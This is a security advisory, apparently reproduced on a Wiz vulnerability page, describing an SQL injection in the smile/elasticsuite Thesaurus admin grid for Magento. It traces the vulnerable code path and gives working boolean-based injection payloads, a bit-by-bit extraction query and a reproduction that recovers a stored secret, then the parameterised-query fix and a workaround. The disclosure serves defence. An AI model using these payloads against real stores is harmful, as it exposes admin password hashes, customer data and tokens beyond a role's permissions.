GHSA-j4vw-mj39-fg2x: 
PHP Análisis y mitigación de vulnerabilidades

Summary

SQL injection (SELECT WHERE context, boolean/time-based) via the Terms column filter of the admin Thesaurus grid. Attacker: admin user with a restricted role Preconditions: Authenticated admin whose role grants Smile_ElasticsuiteThesaurus::manage (it can be the only grant). The request needs the admin session and the URL secret key, so there is no cross-site trigger. No config flag involved; the grid is part of the default module set of the package

Details

Code path:

  1. src/module-elasticsuite-thesaurus/etc/adminhtml/routes.xml:4-5 -> admin route smile_elasticsuite_thesaurus registered for Smile_ElasticsuiteThesaurus; Controller/Adminhtml/Thesaurus/Index.php:25 renders the grid page
  2. src/module-elasticsuite-thesaurus/Controller/Adminhtml/AbstractThesaurus.php:101-104 -> _isAllowed() checks only Smile_ElasticsuiteThesaurus::manage (etc/acl.xml:23)
  3. src/module-elasticsuite-thesaurus/view/adminhtml/layout/smile_elasticsuite_thesaurus_thesaurus_index.xml:19 -> pulls handle smile_elasticsuite_thesaurus_grid_block; smile_elasticsuite_thesaurus_grid_block.xml:21,24 wire Block\Adminhtml\Thesaurus\Grid with the Thesaurus Collection as dataSource; :98-104 column id thesaurus_terms_summary, type text
  4. Magento core app/code/Magento/Backend/Block/Widget/Grid.php:360-369 -> request param 'filter' goes through Backend Helper Data::prepareFilterString (app/code/Magento/Backend/Helper/Data.php:160-172: base64_decode, parse_str, rawurldecode/trim only) into _setFilterValues (:274-285), which stores the raw string keyed by column id; :302-309 calls the column's filter condition callback
  5. src/module-elasticsuite-thesaurus/Block/Adminhtml/Thesaurus/Grid.php:34 -> registers filterTermsCondition for thesaurus_terms_summary; :58-64 passes $column->getFilter()->getValue() unchanged to Collection::setTermFilter()
  6. src/module-elasticsuite-thesaurus/Model/ResourceModel/Thesaurus/Collection.php:118 -> preg_replace('/[\s-]/', '%') is the only transformation; quotes, parentheses and /**/ comments survive
  7. src/module-elasticsuite-thesaurus/Model/ResourceModel/Thesaurus/Collection.php:233-234 -> where("expansion_table.term LIKE '%{$term}%'", $term)->orWhere("reference_table.term LIKE '%{$term}%'", $term): the value is interpolated into the condition text; the second argument only fills '?' placeholders, and the template has none

Proof of concept

Preconditions: an admin account whose role grants Smile_ElasticsuiteThesaurus::manage (it can be the only granted resource), and a valid admin session. The "Terms" column filter value is passed unchanged to Smile\ElasticsuiteThesaurus\Model\ResourceModel\Thesaurus\Collection::setTermFilter(), which builds the WHERE clause by string interpolation:

// Model/ResourceModel/Thesaurus/Collection.php
$term = preg_replace("/[\s-]/", "%", $term);           // spaces and '-' become '%'
...
$select->where("expansion_table.term LIKE '%{$term}%'", $term)
    ->orWhere("reference_table.term LIKE '%{$term}%'", $term);

The second argument only fills ? placeholders, of which the condition has none, so the value is injected verbatim. The preg_replace turns whitespace into %, so a payload uses inline comments (/**/) in place of spaces. Filtering the Thesaurus grid "Terms" column with the two values below yields different result sets, which confirms the value reaches the SQL engine as code (a boolean oracle):


# condition evaluates to TRUE  -> grid returns the matching thesauri
zzz'/**/OR/**/(SELECT/**/COUNT(*)/**/FROM/**/admin_user)>0/**/OR/**/'zzz

# same payload, condition evaluates to FALSE -> grid returns nothing
zzz'/**/OR/**/(SELECT/**/COUNT(*)/**/FROM/**/admin_user)<0/**/OR/**/'zzz

The generated clause becomes:

expansion_table.term LIKE '%zzz' OR (SELECT COUNT(*) FROM admin_user)>0 OR 'zzz%'

By replacing the subquery with a comparison that targets one bit of data at a time (for example SUBSTRING((SELECT password FROM admin_user LIMIT 1),1,1) > 'm'), an attacker reads arbitrary database contents one boolean question per request. A time-based variant using SLEEP() works where the result set is not observable. <details> <summary>Reproduction against the unfixed code</summary> Setup

  1. Create a role with the single resource Smile_ElasticsuiteThesaurus::manage and an admin user in that role.
  2. Create one synonym thesaurus (any terms), so the grid has a row to show.
  3. For the read test, store a known value outside the role's reach. The run used a 12-character random string in core_config_data under the path repro/marker/value. Baseline Logged in as the restricted admin, Stores > Configuration redirects to the "access denied" page (HTTP 403). The role cannot read configuration. Request In Elasticsuite > Thesaurus, type the value into the "Terms" column filter and search. Over HTTP it is a GET to the grid URL with filter set to the base64 of thesaurus_terms_summary=<value>:
GET /admin/smile_elasticsuite_thesaurus/thesaurus/index/key/<secret key>/?filter=<base64>
Filter valueResult
zzz'/**/OR/**/(SELECT/**/COUNT(*)/**/FROM/**/admin_user)>0/**/OR/**/'zzzthe thesaurus row is returned
zzz'/**/OR/**/(SELECT/**/COUNT(*)/**/FROM/**/admin_user)<0/**/OR/**/'zzzno rows
Statement built by the collection for the first value, printed from Collection::getSelect() and seen in the MariaDB general log:
WHERE (expansion_table.term LIKE '%zzz'/**/OR/**/(SELECT/**/COUNT(*)/**/FROM/**/admin_user)>0/**/OR/**/'zzz%')
   OR (reference_table.term LIKE '%zzz'/**/OR/**/(SELECT/**/COUNT(*)/**/FROM/**/admin_user)>0/**/OR/**/'zzz%')
GROUP BY `main_table`.`thesaurus_id`

Reading data outside the role The same two-answer signal reads one character at a time. Position N, threshold T:

zzz'/**/OR/**/(SELECT/**/ASCII(SUBSTRING(value,N,1))/**/FROM/**/core_config_data/**/WHERE/**/path='repro/marker/value')>T/**/OR/**/'zzz

A binary search over T needs 7 requests per character. The run recovered all 12 characters of the stored value (6jvbc31ah8rx) in 84 requests and about one minute, as the restricted admin. Constraints on the value: whitespace and - are replaced by % before the query is built, so spaces are written as /**/ and - cannot be used; a ? would be treated as a placeholder. Control with the fix applied With the two conditions changed to bound parameters, both values from the table return no rows, and a plain term (zzzalpha, one of the thesaurus terms) still returns the row:

-            $select->where("expansion_table.term LIKE '%{$term}%'", $term)
-                ->orWhere("reference_table.term LIKE '%{$term}%'", $term);
+            $select->where("expansion_table.term LIKE ?", "%{$term}%")
+                ->orWhere("reference_table.term LIKE ?", "%{$term}%");

</details>

Impact

An admin limited to thesaurus management can read any data the Magento DB user can read through boolean or time-based subqueries (admin password hashes, customer PII, encrypted config values, integration tokens), which is outside that role's ACL scope. No write primitive is shown: the sink is a SELECT WHERE clause and multi-statements are off. SLEEP-based stalling of a connection is possible but not scored.

Workarounds

Until you can upgrade, only grant the Smile_ElasticsuiteThesaurus::manage resource (Stores > Permissions > User Roles > Role Resources > "Elasticsuite > Thesaurus") to fully trusted admin roles.


Fuente: NVD

Relacionado PHP Vulnerabilidades:

CVE ID

Gravedad

Puntuación

Tecnologías

Nombre del componente

Exploit CISA KEV

Tiene solución

Fecha de publicación

GHSA-53wf-g7j4-hwhhMEDIUM5.3
  • PHP logoPHP
  • timber/timber
NoSíNov 25, 2026
GHSA-j4vw-mj39-fg2xMEDIUM4.9
  • PHP logoPHP
  • smile/elasticsuite
NoSíNov 25, 2026
GHSA-h8fv-vm7c-r6fhCRITICALN/A
  • PHP logoPHP
  • simplesamlphp/saml2
NoNoNov 24, 2026
GHSA-5vjv-wq72-r667MEDIUMN/A
  • PHP logoPHP
  • youthweb/bbcode-parser
NoSíNov 24, 2026
GHSA-3685-v2g8-q27vMEDIUMN/A
  • PHP logoPHP
  • youthweb/bbcode-parser
NoSíNov 24, 2026

Evaluación gratuita de vulnerabilidades

Haz un benchmark de tu postura de seguridad en la nube

Evalúa tus prácticas de seguridad en la nube en 9 dominios de seguridad para evaluar tu nivel de riesgo e identificar brechas en tus defensas.

Evaluación de solicitudes

Recursos adicionales de Wiz

Obtén una demostración personalizada

¿Listo para ver a Wiz en acción?

"La mejor experiencia de usuario que he visto en mi vida, proporciona una visibilidad completa de las cargas de trabajo en la nube."
David EstlickCISO
"Wiz proporciona un panel único para ver lo que ocurre en nuestros entornos en la nube."
Adam FletcherJefe de Seguridad
"Sabemos que si Wiz identifica algo como crítico, en realidad lo es."
Greg PoniatowskiJefe de Gestión de Amenazas y Vulnerabilidades